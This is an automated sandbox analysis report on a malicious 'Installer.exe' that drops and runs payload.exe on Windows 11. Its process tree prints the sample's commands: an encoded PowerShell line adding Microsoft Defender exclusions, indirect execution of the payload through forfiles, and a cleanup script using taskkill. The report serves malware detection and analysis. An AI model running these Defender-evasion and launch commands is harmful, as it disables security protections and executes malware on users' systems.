Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/09/2026, 16:21

General

  • Target
    Installer.exe
  • Size 168.1MB
  • Sample260908-tts2aaem91
  • SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Indirect Command Execution 1 TTPs 1 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "ps -p 3184 -o ppid=,command="
      2⤵
      • Executes a command shell one-liner
      PID:4708
    • C:\Users\Admin\AppData\Local\Temp\Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgABAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1624 --field-trial-handle=1632,i,13948239475434909117,14603452733734421824,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
      2⤵
        PID:4020
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1184
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:596
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:2280
        • C:\Users\Admin\AppData\Local\Temp\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1904 --field-trial-handle=1632,i,13948239475434909117,14603452733734421824,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          2⤵
            PID:3612
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "net session"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3440
            • C:\Windows\system32\net.exe
              net session
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2964
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                4⤵
                  PID:3064
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQQBwAHAARABhAHQAYQBcAHMAdABhAGcAaQBuAGcAXABtAHQAcwB2AHQAdAAzAG0AZQBlADMAYwAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABzAHQAYQBnAGkAbgBnACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQQBwAHAARABhAHQAYQBcAHMAdABhAGcAaQBuAGcAXABtAHQAcwB2AHQAdAAzAG0AZQBlADMAYwBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgB0AG0AcAAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2304
            • C:\Users\Admin\AppData\Local\Temp\AppData\staging\mtsvtt3mee3c\payload.exe
              C:\Users\Admin\AppData\Local\Temp\AppData\staging\mtsvtt3mee3c\payload.exe
              2⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:3508
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "forfiles /p C:\Windows /m notepad.exe /c "C:\Users\Admin\AppData\Local\Temp\AppData\staging\mtsvtt3mee3c\payload.exe""
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1516
              • C:\Windows\system32\forfiles.exe
                forfiles /p C:\Windows /m notepad.exe /c "C:\Users\Admin\AppData\Local\Temp\AppData\staging\mtsvtt3mee3c\payload.exe"
                3⤵
                • Indirect Command Execution
                • Suspicious use of WriteProcessMemory
                PID:3348
                • C:\Users\Admin\AppData\Local\Temp\AppData\staging\mtsvtt3mee3c\payload.exe
                  "C:\Users\Admin\AppData\Local\Temp\AppData\staging\mtsvtt3mee3c\payload.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:324
            • C:\Windows\system32\cmd.exe
              cmd.exe /c C:\Users\Admin\AppData\Local\Temp\eae8d881.cmd
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3012
              • C:\Windows\system32\taskkill.exe
                taskkill /f /pid 1088
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1396
              • C:\Windows\system32\PING.EXE
                ping 127.0.0.1 -n 6
                3⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:4712

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                payload.exe

                • Path C:\Users\Admin\AppData\Local\Temp\AppData\staging\mtsvtt3mee3c\payload.exe
                • Size 4.7MB
                • SHA256 a7e17a6c563fc4075ff5bfe904e8a1bf48e158ccf0d3e3344e87b8af3f8b7c79
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_to2qmkvo.q1x.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_to2qmkvo.q1x.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                eae8d881.cmd

                • Path C:\Users\Admin\AppData\Local\Temp\eae8d881.cmd
                • Size 15KB
                • SHA256 5dceb3c00b0a81800897b4fedd3622221f268d5183d0d9435a9e02e508e7bce0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/324-62-0x0000000110000000-0x0000000110296000-memory.dmp

                memory/324-59-0x0000000110000000-0x0000000110296000-memory.dmp

                memory/2304-40-0x000001D34A4A0000-0x000001D34A4A8000-memory.dmp

                memory/2304-38-0x000001D34A490000-0x000001D34A49A000-memory.dmp

                memory/2304-39-0x000001D34AA10000-0x000001D34AA2A000-memory.dmp

                memory/2304-37-0x000001D34A4B0000-0x000001D34A4CC000-memory.dmp

                memory/2304-41-0x000001D34A4D0000-0x000001D34A4D6000-memory.dmp

                memory/2304-42-0x000001D34A4E0000-0x000001D34A4EA000-memory.dmp

                memory/2304-36-0x000001D34A480000-0x000001D34A48A000-memory.dmp

                memory/2304-35-0x000001D34A700000-0x000001D34A7B3000-memory.dmp

                memory/2304-34-0x000001D34A450000-0x000001D34A46C000-memory.dmp

                memory/2304-21-0x000001D332290000-0x000001D3322B2000-memory.dmp

                memory/3508-54-0x0000000110000000-0x0000000110296000-memory.dmp

                memory/3508-56-0x0000000110000000-0x0000000110296000-memory.dmp

                memory/3508-57-0x0000000110000000-0x0000000110296000-memory.dmp